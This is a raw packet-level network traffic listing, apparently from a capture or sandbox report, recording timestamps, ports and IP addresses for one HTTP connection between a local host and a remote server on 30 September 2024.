Sep 30, 2024 13:59:24.193182945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193197012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193214893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193234921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193244934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193265915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193272114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193279982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193295002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193310022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193316936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193320036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193334103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193335056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193347931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193355083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193362951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193368912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193377972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193392038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193392992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.193399906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193418980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.193438053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.259447098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:24.264360905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.968717098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:24.968784094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:25.062994957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:25.067930937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:25.795552015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:25.795634031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:25.921189070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:25.926060915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.655759096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.655877113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.735786915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.740649939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926311016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926328897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926346064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926357985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926368952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926400900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926431894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926433086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926444054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926454067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926465034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926476002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926482916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926502943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926533937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926537037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926548004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926558971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926570892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926578999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926582098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926592112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926604033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926614046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926624060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926634073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926635027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926641941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926652908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926682949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926714897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926728964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926749945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926759958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926770926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926780939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926781893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926791906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926801920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926801920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926801920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926819086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926839113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926845074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926856041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926867008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926877975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926877975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926887989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926918983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926924944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926947117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926958084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926968098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926980019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.926985025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.926990032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927022934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927037954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927062035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927072048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927082062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927092075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927097082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927109003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927123070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927123070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927134037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927145004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927145958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927165985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927181005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927231073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927242041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927252054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927263021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927273989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927277088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927283049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927284002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927316904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927328110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927699089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927710056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927721977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927731991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927753925 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927781105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927786112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927793026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927803040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927812099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927818060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927824020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927824974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927829027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927850008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927906036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927916050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927917004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927931070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927942038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927952051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927961111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.927975893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.927994967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928018093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928069115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928081036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928091049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928126097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928143978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928158045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928169012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928179026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928210020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928227901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928231001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928241014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928251028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928261042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928284883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928313017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928407907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928442955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928450108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928453922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928473949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928488016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928491116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928530931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928555965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928565979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928602934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928913116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928966999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.928977013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.928988934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929037094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929048061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929049015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929061890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929086924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929100990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929111958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929112911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929122925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929132938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929142952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929147959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929153919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929167986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929178953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929194927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929194927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929224968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929224968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929234028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929248095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929270029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929331064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929342985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929354906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929364920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929368973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929377079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929388046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929438114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929449081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929455042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929455042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929455042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929526091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929526091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929722071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929774046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929780006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929785013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929826975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929864883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929876089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929886103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929898024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929912090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929919004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929922104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929932117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929946899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929955959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.929959059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929969072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:26.929991961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:26.930012941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017107964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017122030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017138004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017151117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017162085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017163992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017170906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017178059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017189980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017198086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017209053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017220974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017242908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017249107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017260075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017277956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017282009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017288923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017313004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017317057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017328024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017337084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017362118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017363071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017381907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017394066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017396927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017402887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017414093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017421007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017430067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017440081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017446995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017463923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017477036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017487049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017488003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017510891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017512083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017522097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017528057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017541885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017550945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017556906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017560005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017570972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017590046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017599106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017622948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017632961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017642021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017659903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017673969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017673969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017683029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017692089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017708063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017721891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017733097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017744064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017750025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017754078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017770052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017770052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017781973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017786026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017790079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017803907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017817974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017822981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017826080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017837048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017853975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017868042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017875910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017879009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017906904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017913103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017924070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017934084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.017934084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017956018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017978907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.017995119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018004894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018019915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018029928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018032074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.018045902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018057108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.018064022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018074036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018080950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.018085003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018104076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.018129110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.018949986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018961906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018971920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018980980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018990993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.018996000 CEST	49721	80	192.168.2.6	5.42.101.62
